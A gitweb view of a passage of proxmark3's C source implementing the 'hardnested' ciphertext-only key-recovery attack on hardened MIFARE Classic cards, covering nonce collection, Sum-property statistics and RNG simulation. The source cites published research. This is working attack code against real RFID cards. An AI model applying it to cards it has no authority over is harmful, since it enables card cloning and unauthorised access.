]> git.zerfleddert.de Git - proxmark3-svn/blob - client/cmdhfmfhard.c
projects / proxmark3-svn / blob
? search:
summary | shortlog | log | commit | commitdiff | tree
blame | history | raw | HEAD
CHG: "hf mf hardnested" disabled the tracelogging on deviceside during nonce acquiring.
[proxmark3-svn] / client / cmdhfmfhard.c
1 //-----------------------------------------------------------------------------
2 // Copyright (C) 2015 piwi
3 // fiddled with 2016 Azcid (hardnested bitsliced Bruteforce imp)
4 // fiddled with 2016 Matrix ( sub testing of nonces while collecting )
5 // This code is licensed to you under the terms of the GNU GPL, version 2 or,
6 // at your option, any later version. See the LICENSE.txt file for the text of
7 // the license.
8 //-----------------------------------------------------------------------------
9 // Implements a card only attack based on crypto text (encrypted nonces
10 // received during a nested authentication) only. Unlike other card only
11 // attacks this doesn't rely on implementation errors but only on the
12 // inherent weaknesses of the crypto1 cypher. Described in
13 // Carlo Meijer, Roel Verdult, "Ciphertext-only Cryptanalysis on Hardened
14 // Mifare Classic Cards" in Proceedings of the 22nd ACM SIGSAC Conference on
15 // Computer and Communications Security, 2015
16 //-----------------------------------------------------------------------------
17 #include "cmdhfmfhard.h"
18
19 #define CONFIDENCE_THRESHOLD 0.95 // Collect nonces until we are certain enough that the following brute force is successfull
20 #define GOOD_BYTES_REQUIRED 13 // default 28, could be smaller == faster
21 #define NONCES_THRESHOLD 5000 // every N nonces check if we can crack the key
22 #define CRACKING_THRESHOLD 38.00f // as 2^38
23
24 #define END_OF_LIST_MARKER 0xFFFFFFFF
25
26 static const float p_K[257] = { // the probability that a random nonce has a Sum Property == K
27 0.0290, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
28 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
29 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
30 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
31 0.0083, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
32 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
33 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
34 0.0006, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
35 0.0339, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
36 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
37 0.0048, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
38 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
39 0.0934, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
40 0.0119, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
41 0.0489, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
42 0.0602, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
43 0.4180, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
44 0.0602, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
45 0.0489, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
46 0.0119, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
47 0.0934, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
48 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
49 0.0048, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
50 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
51 0.0339, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
52 0.0006, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
53 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
54 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
55 0.0083, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
56 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
57 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
58 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
59 0.0290 };
60
61 typedef struct noncelistentry {
62 uint32_t nonce_enc;
63 uint8_t par_enc;
64 void *next;
65 } noncelistentry_t;
66
67 typedef struct noncelist {
68 uint16_t num;
69 uint16_t Sum;
70 uint16_t Sum8_guess;
71 uint8_t BitFlip[2];
72 float Sum8_prob;
73 bool updated;
74 noncelistentry_t *first;
75 float score1, score2;
76 } noncelist_t;
77
78 static size_t nonces_to_bruteforce = 0;
79 static noncelistentry_t *brute_force_nonces[256];
80 static uint32_t cuid = 0;
81 static noncelist_t nonces[256];
82 static uint8_t best_first_bytes[256];
83 static uint16_t first_byte_Sum = 0;
84 static uint16_t first_byte_num = 0;
85 static uint16_t num_good_first_bytes = 0;
86 static uint64_t maximum_states = 0;
87 static uint64_t known_target_key;
88 static bool write_stats = false;
89 static FILE *fstats = NULL;
90
91
92 typedef enum {
93 EVEN_STATE = 0,
94 ODD_STATE = 1
95 } odd_even_t;
96
97 #define STATELIST_INDEX_WIDTH 16
98 #define STATELIST_INDEX_SIZE (1<<STATELIST_INDEX_WIDTH)
99
100 typedef struct {
101 uint32_t *states[2];
102 uint32_t len[2];
103 uint32_t *index[2][STATELIST_INDEX_SIZE];
104 } partial_indexed_statelist_t;
105
106 typedef struct {
107 uint32_t *states[2];
108 uint32_t len[2];
109 void* next;
110 } statelist_t;
111
112
113 static partial_indexed_statelist_t partial_statelist[17];
114 static partial_indexed_statelist_t statelist_bitflip;
115 static statelist_t *candidates = NULL;
116
117 bool field_off = false;
118
119 static bool generate_candidates(uint16_t, uint16_t);
120 static bool brute_force(void);
121
122 static int add_nonce(uint32_t nonce_enc, uint8_t par_enc)
123 {
124 uint8_t first_byte = nonce_enc >> 24;
125 noncelistentry_t *p1 = nonces[first_byte].first;
126 noncelistentry_t *p2 = NULL;
127
128 if (p1 == NULL) { // first nonce with this 1st byte
129 first_byte_num++;
130 first_byte_Sum += evenparity32((nonce_enc & 0xff000000) | (par_enc & 0x08));
131 // printf("Adding nonce 0x%08x, par_enc 0x%02x, parity(0x%08x) = %d\n",
132 // nonce_enc,
133 // par_enc,
134 // (nonce_enc & 0xff000000) | (par_enc & 0x08) |0x01,
135 // parity((nonce_enc & 0xff000000) | (par_enc & 0x08));
136 }
137
138 while (p1 != NULL && (p1->nonce_enc & 0x00ff0000) < (nonce_enc & 0x00ff0000)) {
139 p2 = p1;
140 p1 = p1->next;
141 }
142
143 if (p1 == NULL) { // need to add at the end of the list
144 if (p2 == NULL) { // list is empty yet. Add first entry.
145 p2 = nonces[first_byte].first = malloc(sizeof(noncelistentry_t));
146 } else { // add new entry at end of existing list.
147 p2 = p2->next = malloc(sizeof(noncelistentry_t));
148 }
149 } else if ((p1->nonce_enc & 0x00ff0000) != (nonce_enc & 0x00ff0000)) { // found distinct 2nd byte. Need to insert.
150 if (p2 == NULL) { // need to insert at start of list
151 p2 = nonces[first_byte].first = malloc(sizeof(noncelistentry_t));
152 } else {
153 p2 = p2->next = malloc(sizeof(noncelistentry_t));
154 }
155 } else { // we have seen this 2nd byte before. Nothing to add or insert.
156 return (0);
157 }
158
159 // add or insert new data
160 p2->next = p1;
161 p2->nonce_enc = nonce_enc;
162 p2->par_enc = par_enc;
163
164 if(nonces_to_bruteforce < 256){
165 brute_force_nonces[nonces_to_bruteforce] = p2;
166 nonces_to_bruteforce++;
167 }
168
169 nonces[first_byte].num++;
170 nonces[first_byte].Sum += evenparity32((nonce_enc & 0x00ff0000) | (par_enc & 0x04));
171 nonces[first_byte].updated = true; // indicates that we need to recalculate the Sum(a8) probability for this first byte
172
173 return (1); // new nonce added
174 }
175
176 static void init_nonce_memory(void)
177 {
178 for (uint16_t i = 0; i < 256; i++) {
179 nonces[i].num = 0;
180 nonces[i].Sum = 0;
181 nonces[i].Sum8_guess = 0;
182 nonces[i].Sum8_prob = 0.0;
183 nonces[i].updated = true;
184 nonces[i].first = NULL;
185 }
186 first_byte_num = 0;
187 first_byte_Sum = 0;
188 num_good_first_bytes = 0;
189 }
190
191 static void free_nonce_list(noncelistentry_t *p)
192 {
193 if (p == NULL) {
194 return;
195 } else {
196 free_nonce_list(p->next);
197 free(p);
198 }
199 }
200
201 static void free_nonces_memory(void)
202 {
203 for (uint16_t i = 0; i < 256; i++) {
204 free_nonce_list(nonces[i].first);
205 }
206 }
207
208 static uint16_t PartialSumProperty(uint32_t state, odd_even_t odd_even)
209 {
210 uint16_t sum = 0;
211 for (uint16_t j = 0; j < 16; j++) {
212 uint32_t st = state;
213 uint16_t part_sum = 0;
214 if (odd_even == ODD_STATE) {
215 for (uint16_t i = 0; i < 5; i++) {
216 part_sum ^= filter(st);
217 st = (st << 1) | ((j >> (3-i)) & 0x01) ;
218 }
219 part_sum ^= 1; // XOR 1 cancelled out for the other 8 bits
220 } else {
221 for (uint16_t i = 0; i < 4; i++) {
222 st = (st << 1) | ((j >> (3-i)) & 0x01) ;
223 part_sum ^= filter(st);
224 }
225 }
226 sum += part_sum;
227 }
228 return sum;
229 }
230
231 // static uint16_t SumProperty(struct Crypto1State *s)
232 // {
233 // uint16_t sum_odd = PartialSumProperty(s->odd, ODD_STATE);
234 // uint16_t sum_even = PartialSumProperty(s->even, EVEN_STATE);
235 // return (sum_odd*(16-sum_even) + (16-sum_odd)*sum_even);
236 // }
237
238 static double p_hypergeometric(uint16_t N, uint16_t K, uint16_t n, uint16_t k)
239 {
240 // for efficient computation we are using the recursive definition
241 // (K-k+1) * (n-k+1)
242 // P(X=k) = P(X=k-1) * --------------------
243 // k * (N-K-n+k)
244 // and
245 // (N-K)*(N-K-1)*...*(N-K-n+1)
246 // P(X=0) = -----------------------------
247 // N*(N-1)*...*(N-n+1)
248
249 if (n-k > N-K || k > K) return 0.0; // avoids log(x<=0) in calculation below
250 if (k == 0) {
251 // use logarithms to avoid overflow with huge factorials (double type can only hold 170!)
252 double log_result = 0.0;
253 for (int16_t i = N-K; i >= N-K-n+1; i--) {
254 log_result += log(i);
255 }
256 for (int16_t i = N; i >= N-n+1; i--) {
257 log_result -= log(i);
258 }
259 return exp(log_result);
260 } else {
261 if (n-k == N-K) { // special case. The published recursion below would fail with a divide by zero exception
262 double log_result = 0.0;
263 for (int16_t i = k+1; i <= n; i++) {
264 log_result += log(i);
265 }
266 for (int16_t i = K+1; i <= N; i++) {
267 log_result -= log(i);
268 }
269 return exp(log_result);
270 } else { // recursion
271 return (p_hypergeometric(N, K, n, k-1) * (K-k+1) * (n-k+1) / (k * (N-K-n+k)));
272 }
273 }
274 }
275
276 static float sum_probability(uint16_t K, uint16_t n, uint16_t k)
277 {
278 const uint16_t N = 256;
279
280 if (k > K || p_K[K] == 0.0) return 0.0;
281
282 double p_T_is_k_when_S_is_K = p_hypergeometric(N, K, n, k);
283 double p_S_is_K = p_K[K];
284 double p_T_is_k = 0;
285 for (uint16_t i = 0; i <= 256; i++) {
286 if (p_K[i] != 0.0) {
287 double tmp = p_hypergeometric(N, i, n, k);
288 if (tmp != 0.0)
289 p_T_is_k += p_K[i] * tmp;
290 }
291 }
292 return(p_T_is_k_when_S_is_K * p_S_is_K / p_T_is_k);
293 }
294
295 static inline uint_fast8_t common_bits(uint_fast8_t bytes_diff)
296 {
297 static const uint_fast8_t common_bits_LUT[256] = {
298 8, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
299 4, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
300 5, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
301 4, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
302 6, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
303 4, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
304 5, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
305 4, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
306 7, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
307 4, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
308 5, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
309 4, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
310 6, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
311 4, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
312 5, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
313 4, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0
314 };
315
316 return common_bits_LUT[bytes_diff];
317 }
318
319 static void Tests()
320 {
321 // printf("Tests: Partial Statelist sizes\n");
322 // for (uint16_t i = 0; i <= 16; i+=2) {
323 // printf("Partial State List Odd [%2d] has %8d entries\n", i, partial_statelist[i].len[ODD_STATE]);
324 // }
325 // for (uint16_t i = 0; i <= 16; i+=2) {
326 // printf("Partial State List Even [%2d] has %8d entries\n", i, partial_statelist[i].len[EVEN_STATE]);
327 // }
328
329 // #define NUM_STATISTICS 100000
330 // uint32_t statistics_odd[17];
331 // uint64_t statistics[257];
332 // uint32_t statistics_even[17];
333 // struct Crypto1State cs;
334 // time_t time1 = clock();
335
336 // for (uint16_t i = 0; i < 257; i++) {
337 // statistics[i] = 0;
338 // }
339 // for (uint16_t i = 0; i < 17; i++) {
340 // statistics_odd[i] = 0;
341 // statistics_even[i] = 0;
342 // }
343
344 // for (uint64_t i = 0; i < NUM_STATISTICS; i++) {
345 // cs.odd = (rand() & 0xfff) << 12 | (rand() & 0xfff);
346 // cs.even = (rand() & 0xfff) << 12 | (rand() & 0xfff);
347 // uint16_t sum_property = SumProperty(&cs);
348 // statistics[sum_property] += 1;
349 // sum_property = PartialSumProperty(cs.even, EVEN_STATE);
350 // statistics_even[sum_property]++;
351 // sum_property = PartialSumProperty(cs.odd, ODD_STATE);
352 // statistics_odd[sum_property]++;
353 // if (i%(NUM_STATISTICS/100) == 0) printf(".");
354 // }
355
356 // printf("\nTests: Calculated %d Sum properties in %0.3f seconds (%0.0f calcs/second)\n", NUM_STATISTICS, ((float)clock() - time1)/CLOCKS_PER_SEC, NUM_STATISTICS/((float)clock() - time1)*CLOCKS_PER_SEC);
357 // for (uint16_t i = 0; i < 257; i++) {
358 // if (statistics[i] != 0) {
359 // printf("probability[%3d] = %0.5f\n", i, (float)statistics[i]/NUM_STATISTICS);
360 // }
361 // }
362 // for (uint16_t i = 0; i <= 16; i++) {
363 // if (statistics_odd[i] != 0) {
364 // printf("probability odd [%2d] = %0.5f\n", i, (float)statistics_odd[i]/NUM_STATISTICS);
365 // }
366 // }
367 // for (uint16_t i = 0; i <= 16; i++) {
368 // if (statistics_odd[i] != 0) {
369 // printf("probability even [%2d] = %0.5f\n", i, (float)statistics_even[i]/NUM_STATISTICS);
370 // }
371 // }
372
373 // printf("Tests: Sum Probabilities based on Partial Sums\n");
374 // for (uint16_t i = 0; i < 257; i++) {
375 // statistics[i] = 0;
376 // }
377 // uint64_t num_states = 0;
378 // for (uint16_t oddsum = 0; oddsum <= 16; oddsum += 2) {
379 // for (uint16_t evensum = 0; evensum <= 16; evensum += 2) {
380 // uint16_t sum = oddsum*(16-evensum) + (16-oddsum)*evensum;
381 // statistics[sum] += (uint64_t)partial_statelist[oddsum].len[ODD_STATE] * partial_statelist[evensum].len[EVEN_STATE] * (1<<8);
382 // num_states += (uint64_t)partial_statelist[oddsum].len[ODD_STATE] * partial_statelist[evensum].len[EVEN_STATE] * (1<<8);
383 // }
384 // }
385 // printf("num_states = %lld, expected %lld\n", num_states, (1LL<<48));
386 // for (uint16_t i = 0; i < 257; i++) {
387 // if (statistics[i] != 0) {
388 // printf("probability[%3d] = %0.5f\n", i, (float)statistics[i]/num_states);
389 // }
390 // }
391
392 // printf("\nTests: Hypergeometric Probability for selected parameters\n");
393 // printf("p_hypergeometric(256, 206, 255, 206) = %0.8f\n", p_hypergeometric(256, 206, 255, 206));
394 // printf("p_hypergeometric(256, 206, 255, 205) = %0.8f\n", p_hypergeometric(256, 206, 255, 205));
395 // printf("p_hypergeometric(256, 156, 1, 1) = %0.8f\n", p_hypergeometric(256, 156, 1, 1));
396 // printf("p_hypergeometric(256, 156, 1, 0) = %0.8f\n", p_hypergeometric(256, 156, 1, 0));
397 // printf("p_hypergeometric(256, 1, 1, 1) = %0.8f\n", p_hypergeometric(256, 1, 1, 1));
398 // printf("p_hypergeometric(256, 1, 1, 0) = %0.8f\n", p_hypergeometric(256, 1, 1, 0));
399
400 // struct Crypto1State *pcs;
401 // pcs = crypto1_create(0xffffffffffff);
402 // printf("\nTests: for key = 0xffffffffffff:\nSum(a0) = %d\nodd_state = 0x%06x\neven_state = 0x%06x\n",
403 // SumProperty(pcs), pcs->odd & 0x00ffffff, pcs->even & 0x00ffffff);
404 // crypto1_byte(pcs, (cuid >> 24) ^ best_first_bytes[0], true);
405 // printf("After adding best first byte 0x%02x:\nSum(a8) = %d\nodd_state = 0x%06x\neven_state = 0x%06x\n",
406 // best_first_bytes[0],
407 // SumProperty(pcs),
408 // pcs->odd & 0x00ffffff, pcs->even & 0x00ffffff);
409 // //test_state_odd = pcs->odd & 0x00ffffff;
410 // //test_state_even = pcs->even & 0x00ffffff;
411 // crypto1_destroy(pcs);
412 // pcs = crypto1_create(0xa0a1a2a3a4a5);
413 // printf("Tests: for key = 0xa0a1a2a3a4a5:\nSum(a0) = %d\nodd_state = 0x%06x\neven_state = 0x%06x\n",
414 // SumProperty(pcs), pcs->odd & 0x00ffffff, pcs->even & 0x00ffffff);
415 // crypto1_byte(pcs, (cuid >> 24) ^ best_first_bytes[0], true);
416 // printf("After adding best first byte 0x%02x:\nSum(a8) = %d\nodd_state = 0x%06x\neven_state = 0x%06x\n",
417 // best_first_bytes[0],
418 // SumProperty(pcs),
419 // pcs->odd & 0x00ffffff, pcs->even & 0x00ffffff);
420 // //test_state_odd = pcs->odd & 0x00ffffff;
421 // //test_state_even = pcs->even & 0x00ffffff;
422 // crypto1_destroy(pcs);
423 // pcs = crypto1_create(0xa6b9aa97b955);
424 // printf("Tests: for key = 0xa6b9aa97b955:\nSum(a0) = %d\nodd_state = 0x%06x\neven_state = 0x%06x\n",
425 // SumProperty(pcs), pcs->odd & 0x00ffffff, pcs->even & 0x00ffffff);
426 // crypto1_byte(pcs, (cuid >> 24) ^ best_first_bytes[0], true);
427 // printf("After adding best first byte 0x%02x:\nSum(a8) = %d\nodd_state = 0x%06x\neven_state = 0x%06x\n",
428 // best_first_bytes[0],
429 // SumProperty(pcs),
430 // pcs->odd & 0x00ffffff, pcs->even & 0x00ffffff);
431 //test_state_odd = pcs->odd & 0x00ffffff;
432 //test_state_even = pcs->even & 0x00ffffff;
433 // crypto1_destroy(pcs);
434
435
436 // printf("\nTests: number of states with BitFlipProperty: %d, (= %1.3f%% of total states)\n", statelist_bitflip.len[0], 100.0 * statelist_bitflip.len[0] / (1<<20));
437
438 // printf("\nTests: Actual BitFlipProperties odd/even:\n");
439 // for (uint16_t i = 0; i < 256; i++) {
440 // printf("[%02x]:%c ", i, nonces[i].BitFlip[ODD_STATE]?'o':nonces[i].BitFlip[EVEN_STATE]?'e':' ');
441 // if (i % 8 == 7) {
442 // printf("\n");
443 // }
444 // }
445
446 // printf("\nTests: Sorted First Bytes:\n");
447 // for (uint16_t i = 0; i < 256; i++) {
448 // uint8_t best_byte = best_first_bytes[i];
449 // printf("#%03d Byte: %02x, n = %3d, k = %3d, Sum(a8): %3d, Confidence: %5.1f%%, Bitflip: %c\n",
450 // //printf("#%03d Byte: %02x, n = %3d, k = %3d, Sum(a8): %3d, Confidence: %5.1f%%, Bitflip: %c, score1: %1.5f, score2: %1.0f\n",
451 // i, best_byte,
452 // nonces[best_byte].num,
453 // nonces[best_byte].Sum,
454 // nonces[best_byte].Sum8_guess,
455 // nonces[best_byte].Sum8_prob * 100,
456 // nonces[best_byte].BitFlip[ODD_STATE]?'o':nonces[best_byte].BitFlip[EVEN_STATE]?'e':' '
457 // //nonces[best_byte].score1,
458 // //nonces[best_byte].score2
459 // );
460 // }
461
462 // printf("\nTests: parity performance\n");
463 // time_t time1p = clock();
464 // uint32_t par_sum = 0;
465 // for (uint32_t i = 0; i < 100000000; i++) {
466 // par_sum += parity(i);
467 // }
468 // printf("parsum oldparity = %d, time = %1.5fsec\n", par_sum, (float)(clock() - time1p)/CLOCKS_PER_SEC);
469
470 // time1p = clock();
471 // par_sum = 0;
472 // for (uint32_t i = 0; i < 100000000; i++) {
473 // par_sum += evenparity32(i);
474 // }
475 // printf("parsum newparity = %d, time = %1.5fsec\n", par_sum, (float)(clock() - time1p)/CLOCKS_PER_SEC);
476
477
478 }
479
480 static void sort_best_first_bytes(void)
481 {
482 // sort based on probability for correct guess
483 for (uint16_t i = 0; i < 256; i++ ) {
484 uint16_t j = 0;
485 float prob1 = nonces[i].Sum8_prob;
486 float prob2 = nonces[best_first_bytes[0]].Sum8_prob;
487 while (prob1 < prob2 && j < i) {
488 prob2 = nonces[best_first_bytes[++j]].Sum8_prob;
489 }
490 if (j < i) {
491 for (uint16_t k = i; k > j; k--) {
492 best_first_bytes[k] = best_first_bytes[k-1];
493 }
494 }
495 best_first_bytes[j] = i;
496 }
497
498 // determine how many are above the CONFIDENCE_THRESHOLD
499 uint16_t num_good_nonces = 0;
500 for (uint16_t i = 0; i < 256; i++) {
501 if (nonces[best_first_bytes[i]].Sum8_prob >= CONFIDENCE_THRESHOLD) {
502 ++num_good_nonces;
503 }
504 }
505
506 uint16_t best_first_byte = 0;
507
508 // select the best possible first byte based on number of common bits with all {b'}
509 // uint16_t max_common_bits = 0;
510 // for (uint16_t i = 0; i < num_good_nonces; i++) {
511 // uint16_t sum_common_bits = 0;
512 // for (uint16_t j = 0; j < num_good_nonces; j++) {
513 // if (i != j) {
514 // sum_common_bits += common_bits(best_first_bytes[i],best_first_bytes[j]);
515 // }
516 // }
517 // if (sum_common_bits > max_common_bits) {
518 // max_common_bits = sum_common_bits;
519 // best_first_byte = i;
520 // }
521 // }
522
523 // select best possible first byte {b} based on least likely sum/bitflip property
524 float min_p_K = 1.0;
525 for (uint16_t i = 0; i < num_good_nonces; i++ ) {
526 uint16_t sum8 = nonces[best_first_bytes[i]].Sum8_guess;
527 float bitflip_prob = 1.0;
528 if (nonces[best_first_bytes[i]].BitFlip[ODD_STATE] || nonces[best_first_bytes[i]].BitFlip[EVEN_STATE]) {
529 bitflip_prob = 0.09375;
530 }
531 nonces[best_first_bytes[i]].score1 = p_K[sum8] * bitflip_prob;
532 if (p_K[sum8] * bitflip_prob <= min_p_K) {
533 min_p_K = p_K[sum8] * bitflip_prob;
534 }
535 }
536
537
538 // use number of commmon bits as a tie breaker
539 uint16_t max_common_bits = 0;
540 for (uint16_t i = 0; i < num_good_nonces; i++) {
541 float bitflip_prob = 1.0;
542 if (nonces[best_first_bytes[i]].BitFlip[ODD_STATE] || nonces[best_first_bytes[i]].BitFlip[EVEN_STATE]) {
543 bitflip_prob = 0.09375;
544 }
545 if (p_K[nonces[best_first_bytes[i]].Sum8_guess] * bitflip_prob == min_p_K) {
546 uint16_t sum_common_bits = 0;
547 for (uint16_t j = 0; j < num_good_nonces; j++) {
548 sum_common_bits += common_bits(best_first_bytes[i] ^ best_first_bytes[j]);
549 }
550 nonces[best_first_bytes[i]].score2 = sum_common_bits;
551 if (sum_common_bits > max_common_bits) {
552 max_common_bits = sum_common_bits;
553 best_first_byte = i;
554 }
555 }
556 }
557
558 // swap best possible first byte to the pole position
559 if (best_first_byte != 0) {
560 uint16_t temp = best_first_bytes[0];
561 best_first_bytes[0] = best_first_bytes[best_first_byte];
562 best_first_bytes[best_first_byte] = temp;
563 }
564
565 }
566
567 static uint16_t estimate_second_byte_sum(void)
568 {
569
570 for (uint16_t first_byte = 0; first_byte < 256; first_byte++) {
571 float Sum8_prob = 0.0;
572 uint16_t Sum8 = 0;
573 if (nonces[first_byte].updated) {
574 for (uint16_t sum = 0; sum <= 256; sum++) {
575 float prob = sum_probability(sum, nonces[first_byte].num, nonces[first_byte].Sum);
576 if (prob > Sum8_prob) {
577 Sum8_prob = prob;
578 Sum8 = sum;
579 }
580 }
581 nonces[first_byte].Sum8_guess = Sum8;
582 nonces[first_byte].Sum8_prob = Sum8_prob;
583 nonces[first_byte].updated = false;
584 }
585 }
586
587 sort_best_first_bytes();
588
589 uint16_t num_good_nonces = 0;
590 for (uint16_t i = 0; i < 256; i++) {
591 if (nonces[best_first_bytes[i]].Sum8_prob >= CONFIDENCE_THRESHOLD) {
592 ++num_good_nonces;
593 }
594 }
595
596 return num_good_nonces;
597 }
598
599 static int read_nonce_file(void)
600 {
601 FILE *fnonces = NULL;
602 uint8_t trgBlockNo = 0;
603 uint8_t trgKeyType = 0;
604 uint8_t read_buf[9];
605 uint32_t nt_enc1 = 0, nt_enc2 = 0;
606 uint8_t par_enc = 0;
607 int total_num_nonces = 0;
608
609 if ((fnonces = fopen("nonces.bin","rb")) == NULL) {
610 PrintAndLog("Could not open file nonces.bin");
611 return 1;
612 }
613
614 PrintAndLog("Reading nonces from file nonces.bin...");
615 size_t bytes_read = fread(read_buf, 1, 6, fnonces);
616 if ( bytes_read == 0) {
617 PrintAndLog("File reading error.");
618 fclose(fnonces);
619 return 1;
620 }
621 cuid = bytes_to_num(read_buf, 4);
622 trgBlockNo = bytes_to_num(read_buf+4, 1);
623 trgKeyType = bytes_to_num(read_buf+5, 1);
624
625 while (fread(read_buf, 1, 9, fnonces) == 9) {
626 nt_enc1 = bytes_to_num(read_buf, 4);
627 nt_enc2 = bytes_to_num(read_buf+4, 4);
628 par_enc = bytes_to_num(read_buf+8, 1);
629 //printf("Encrypted nonce: %08x, encrypted_parity: %02x\n", nt_enc1, par_enc >> 4);
630 //printf("Encrypted nonce: %08x, encrypted_parity: %02x\n", nt_enc2, par_enc & 0x0f);
631 add_nonce(nt_enc1, par_enc >> 4);
632 add_nonce(nt_enc2, par_enc & 0x0f);
633 total_num_nonces += 2;
634 }
635 fclose(fnonces);
636 PrintAndLog("Read %d nonces from file. cuid=%08x, Block=%d, Keytype=%c", total_num_nonces, cuid, trgBlockNo, trgKeyType==0?'A':'B');
637 return 0;
638 }
639
640 static void Check_for_FilterFlipProperties(void)
641 {
642 printf("Checking for Filter Flip Properties...\n");
643
644 uint16_t num_bitflips = 0;
645
646 for (uint16_t i = 0; i < 256; i++) {
647 nonces[i].BitFlip[ODD_STATE] = false;
648 nonces[i].BitFlip[EVEN_STATE] = false;
649 }
650
651 for (uint16_t i = 0; i < 256; i++) {
652 uint8_t parity1 = (nonces[i].first->par_enc) >> 3; // parity of first byte
653 uint8_t parity2_odd = (nonces[i^0x80].first->par_enc) >> 3; // XOR 0x80 = last bit flipped
654 uint8_t parity2_even = (nonces[i^0x40].first->par_enc) >> 3; // XOR 0x40 = second last bit flipped
655
656 if (parity1 == parity2_odd) { // has Bit Flip Property for odd bits
657 nonces[i].BitFlip[ODD_STATE] = true;
658 num_bitflips++;
659 } else if (parity1 == parity2_even) { // has Bit Flip Property for even bits
660 nonces[i].BitFlip[EVEN_STATE] = true;
661 num_bitflips++;
662 }
663 }
664
665 if (write_stats) {
666 fprintf(fstats, "%d;", num_bitflips);
667 }
668 }
669
670 static void simulate_MFplus_RNG(uint32_t test_cuid, uint64_t test_key, uint32_t *nt_enc, uint8_t *par_enc)
671 {
672 struct Crypto1State sim_cs = {0, 0};
673 // init cryptostate with key:
674 for(int8_t i = 47; i > 0; i -= 2) {
675 sim_cs.odd = sim_cs.odd << 1 | BIT(test_key, (i - 1) ^ 7);
676 sim_cs.even = sim_cs.even << 1 | BIT(test_key, i ^ 7);
677 }
678
679 *par_enc = 0;
680 uint32_t nt = (rand() & 0xff) << 24 | (rand() & 0xff) << 16 | (rand() & 0xff) << 8 | (rand() & 0xff);
681 for (int8_t byte_pos = 3; byte_pos >= 0; byte_pos--) {
682 uint8_t nt_byte_dec = (nt >> (8*byte_pos)) & 0xff;
683 uint8_t nt_byte_enc = crypto1_byte(&sim_cs, nt_byte_dec ^ (test_cuid >> (8*byte_pos)), false) ^ nt_byte_dec; // encode the nonce byte
684 *nt_enc = (*nt_enc << 8) | nt_byte_enc;
685 uint8_t ks_par = filter(sim_cs.odd); // the keystream bit to encode/decode the parity bit
686 uint8_t nt_byte_par_enc = ks_par ^ oddparity8(nt_byte_dec); // determine the nt byte's parity and encode it
687 *par_enc = (*par_enc << 1) | nt_byte_par_enc;
688 }
689
690 }
691
692 static void simulate_acquire_nonces()
693 {
694 clock_t time1 = clock();
695 bool filter_flip_checked = false;
696 uint32_t total_num_nonces = 0;
697 uint32_t next_fivehundred = 500;
